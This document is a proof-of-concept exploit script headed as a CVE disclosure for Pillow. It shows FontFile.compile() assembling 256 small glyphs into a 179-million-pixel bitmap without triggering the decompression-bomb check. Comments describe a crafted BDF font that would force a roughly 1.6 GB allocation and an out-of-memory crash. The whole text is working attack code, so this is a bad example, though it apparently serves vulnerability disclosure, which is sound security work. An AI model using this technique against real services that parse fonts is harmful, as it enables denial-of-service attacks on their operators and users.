CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below 89.4M warning threshold)
-> compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
Verified on Pillow 12.2.0.
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # per-glyph: 700K px -- below DecompressionBombWarning

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm the combined size WOULD be blocked by a direct check
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise -- unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() skips the check entirely
font = MockFont()
font.compile()   # Image.new("1", (800, 224000)) -- no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}x DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

# Real-world trigger (crafted BDF font with 256 glyphs, each height=65535)
# Combined allocation: 800 x 16,776,960 = ~13.4B px, ~1.6 GB, 75x error threshold
# from PIL import BdfFontFile
# font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
# font.to_imagefont()  # -> compile() -> OOM, no check fired